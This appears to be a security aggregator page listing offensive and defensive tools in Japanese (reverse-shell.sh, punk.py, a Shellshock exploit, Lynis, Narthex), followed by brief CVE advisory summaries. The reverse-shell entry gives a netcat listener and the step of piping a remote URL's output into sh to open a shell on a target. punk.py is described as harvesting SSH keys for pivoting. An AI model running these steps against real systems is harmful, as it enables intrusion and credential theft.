reverse-shell

reverse-shell リバースシェルをサービスとして提供 - https://reverse-shell.sh 覚えやすいリバースシェル。ほとんどのUnix系システムで動作します。 ターゲット上で利用可能なソフトウェアを検出し、適切なペイロードを実行します。 使い方 1. 接続を待ち受ける あなたのマシンでポートを開けて待ち受けます。netcatで簡単にできます。 nc -l 1337 2. ターゲットでリバースシェルを実行する ターゲットマシンで、https://reverse-shell.sh/yourip:port の出力をshにパイプします。 curl...

lynis

ドキュメント このソフトウェアは好きですか？プロジェクトにスターを付け てスターゲイザーになりましょう。 lynis Lynis - UNIXベースシステム向けのセキュリティ監査および堅牢化ツール。 LynisはLinux、macOS、BSDなどを含むUNIXベースのシステム向けのセキュリティ監査ツールです。システム自体で実行され、詳細なセキュリティスキャン を実施します。主な目的はセキュリティ防御をテストし、さらなるシステム堅牢化のためのヒント...

punk.py

punk.py unix SSH ポストエクスプロイテーション 1337 ツール 仕組み punk.py は、侵害された unix マシンからのネットワークピボットを支援するために設計されたポストエクスプロイテーションツールです。 unix システムからユーザー名、SSH 鍵、knownhosts を収集し、見つかった全ての組み合わせに対して SSH 接続を試みます。 punk.py は標準の Python2 と Python3 の両方のインタプリタで動作するように記述されています。 スクリーンショット 使用例 標準実行: $ ./punk.py passwd...

Narthex

Narthex Narthex（ギリシャ語：Νάρθηξ, νάρθηκας）は、C および Shell で書かれた、Unix および Unix 類似オペレーティングシステム向けのモジュール式かつ最小限の辞書ジェネレーターです。自律型の Unix スタイルプログラムを含み、パスワード復元やセキュリティ評価に使用できるカスタマイズされた辞書を作成します。プログラムは Unix 哲学に従い、Unix テキストストリームを使用して相互に連携します。GPL v3.0 ライセンスの下で提供されています。 Narthex の使い方を説明する動画を作りました：...

Shellshock

Shellshock Exploit CVE-2014-6271 エクスプロイト 説明 このリポジトリには、Unixベースのシステムに影響を与える脆弱性のエクスプロイトが含まれています。これは教育目的で作成された概念実証スクリプトであり、責任を持って使用する必要があることに注意してください。 このエクスプロイトは、Shellshock攻撃がどのように機能し、巧妙に細工されたリクエストヘッダーを通じてシステムへのシェルアクセスを得るためにどのように使用されるかを示すために設計されています。 免責事項...

CVE-2026-47321

The CompressionFilter class uses ZLib to deflate and inflate data sent and received. When we inflate incoming data, the filter does not control the resulting size, and create a buffer no matter what. Some compressed data may have a compression ration greater than 1 thousand, leading to an...

CVE-2026-54604

OpenSlide is a C library for reading whole slide image files. Prior to 4.0.1, a behavior change in libtiff 4.7.1 causes the indirect TIFF tile path in src/openslide-decode-tiff.c and openslidetiffreadtile to request a full-height destination for a partial bottom tile row, allowing uninitialized...

GHSA-M7FF-3HM8-6QXH vulnerabilities

Vulnerabilities for packages: strongswan...

Astra Linux – Vulnerability in hdf5

The HDF5 library from version 1.14.3 has a segmentation fault in the H5VM.c function H5VMmemcpyvv...

Astra Linux – Vulnerability in Chromium

Chromium: CVE-2021-30610 Use after free in Extensions API...

Astra Linux – Vulnerability in Shadow

Shadow: TOCTOU time-of-check time-of-use race condition when copying and removing directory trees...

Astra Linux – Vulnerability in Vim

Heap-based Buffer Overflow in the GitHub repository vim/vim before version 9.0.1144...

Astra Linux – Vulnerability in Samba

Windows Kerberos Elevation of Privilege Vulnerability...

CVE-2026-54241

libde265 is an open source implementation of the h.265 video codec. Versions prior to 1.1.1 use signed 32-bit arithmetic to calculate the sample adaptive offset input-buffer size, allowing a crafted HEVC stream with large dimensions and 16-bit luma samples to cause an integer overflow, an...

CVE-2026-87910

When tarfile extracts a link on a system that doesn't support links, it falls back to extracting a member from the archive. In this case, the filter function is run twice: once for the extracted member, and once with name set to the location of the link. For one of the calls, the return value was...

CVE-2026-15603 vulnerabilities

Vulnerabilities for packages: wazuh-dashboard-fips, azurite, wazuh-dashboard...

CVE-2026-49838

GoBGP is an open source Border Gateway Protocol BGP implementation in the Go Programming Language. Prior to version 4.7.0, GoBGP accepts a zero-length ASPATH during UPDATE decoding and later panics while validating that attribute for a confederation eBGP peer. The vulnerable path is in the BGP...

GHSA-9MR8-PWPW-3J2W vulnerabilities

Vulnerabilities for packages: dotnet-bootstrap...

CVE-2026-67325 vulnerabilities

Vulnerabilities for packages: checkov, mlflow...

CVE-2026-87732

An issue was discovered in the mirage-crypto package before 2.2.0 for OCaml. The AES.GCM.authenticatedecryptinto and Chacha20.authenticatedecryptinto functions write the decrypted plaintext into a caller-provided buffer and only then compares the tag. On a forged tag, the functions returns false,...